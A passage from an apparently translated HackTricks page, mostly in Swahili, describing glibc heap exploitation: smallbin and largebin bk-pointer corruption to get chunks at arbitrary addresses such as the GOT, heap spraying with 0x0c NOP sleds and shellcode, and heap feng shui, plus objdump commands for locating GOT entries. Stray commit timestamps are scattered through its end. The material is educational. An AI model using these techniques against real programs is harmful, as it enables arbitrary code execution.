Lengo ni lifuatalo, ikiwa tunaweza kufanya overflow kwenye heap ambayo chini yake kuna kipande kilichokuwa kimeachiliwa na katika bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na kipande hiki kinakuwa cha kwanza kwenye orodha ya bin na kinahifadhiwa, bin itadanganywa na kuambiwa kwamba kipande cha mwisho kwenye orodha (kilichofuata kutoa) kiko kwenye anwani bandia ambayo tumepatia (kwa stack au GOT kwa mfano). Hivyo ikiwa kutakuwa na kuhifadhiwa kipande kingine na mshambuliaji ana ruhusa kwake, atapewa kipande katika nafasi inayotakiwa na anaweza kuandika ndani yake.
Baada ya kuachiliwa kipande kilichobadilishwa ni muhimu kuhifadhi kipande kikubwa zaidi kuliko kilichokuwa kimeachiliwa, hivyo kipande kilichobadilishwa kitatoka kwenye unsorted bins na kuingizwa kwenye bin yake.
Mara kipande hicho kiko kwenye bin ni wakati wa kubadilisha pointer yake bk kupitia overflow ili ielekeze kwenye anwani tunayotaka kuandika.
Hivyo bin itasubiri zamu ili kuitwa malloc() mara nyingi za kutosha ili iweze kutumika tena bin iliyobadilishwa na kudanganya bin ikifanya ionekane kwamba kipande kinachofuata kiko kwenye anwani bandia. Kisha itatoa kipande ambacho kinavutia kwetu.
Ili kutekeleza udhaifu haraka iwezekanavyo, bora ingekuwa: Hifadhi kipande hatari, hifadhi kipande ambacho kitabadilishwa, achilia kipande hiki, hifadhi kipande kikubwa zaidi ambacho kitabadilishwa, badilisha kipande hicho (udhaifu), hifadhi kipande cha ukubwa sawa na kilichohatarishwa na hifadhi kipande cha pili cha ukubwa sawa na hiki kitakuwa kile kitakachoelekeza kwenye anwani iliyochaguliwa.
Ili kulinda shambulio hili, ilitumika ukaguzi wa kawaida kwamba kipande “siyo” bandia: inakagua ikiwa bck->fd inaelekeza kwa victim. Yaani, katika kesi yetu ikiwa pointer fd* ya kipande bandia inayopangwa kwenye stack inaelekeza kwa victim. Ili kupita ulinzi huu mshambuliaji anapaswa kuwa na uwezo wa kuandika kwa njia fulani (kwa stack labda) kwenye anwani sahihi anwani ya victim. Ili hivyo ionekane kama kipande halisi.
**Corrupción LargeBin**
Inahitaji mahitaji sawa na yale ya awali na mengine zaidi, zaidi ya hayo, vipande vilivyohifadhiwa vinapaswa kuwa vikubwa zaidi ya 512.
Shambulio ni kama la awali, yaani, inahitaji kubadilisha pointer bk na inahitaji simu zote hizo za malloc(), lakini zaidi inahitaji kubadilisha size ya kipande kilichobadilishwa ili size hiyo - nb iwe < MINSIZE.
Kwa mfano itafanya kuweka katika size 1552 ili 1552 - 1544 = 8 < MINSIZE (tofauti haiwezi kuwa hasi kwa sababu inalinganishwa na unsigned)
Zaidi ya hayo, patch imewekwa ili kufanya iwe ngumu zaidi.
**Heap Spraying**
Kimsingi inajumuisha kuhifadhi kumbukumbu yote inayowezekana kwa heaps na kujaza hizi na mto wa nops unaomalizika na shellcode. Zaidi ya hayo, kama mto inatumika 0x0c. Kwa hivyo itajaribu kuruka kwenye anwani 0x0c0c0c0c, na hivyo ikiwa itandika anwani yoyote ambayo itaitwa na mto huu itaruka huko. Kimsingi mbinu ni kuhifadhi kadri iwezekanavyo ili kuona ikiwa inandika pointer yoyote na kuruka kwenye 0x0c0c0c0c ikitarajia kwamba huko kuna nops.
**Heap Feng Shui**
Inajumuisha kupitia uhifadhi na kuachiliwa kuandaa kumbukumbu ili kuwe na vipande vilivyohifadhiwa kati ya vipande vya bure. Buffer inayoweza kuzidiwa itakuwa katika moja ya mayai.
**objdump -d ejecutable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb
## Interesting courses
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **References**
2021-09-26 15:10:12 +00:00
2022-04-05 22:24:52 +00:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-30 10:12:47 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}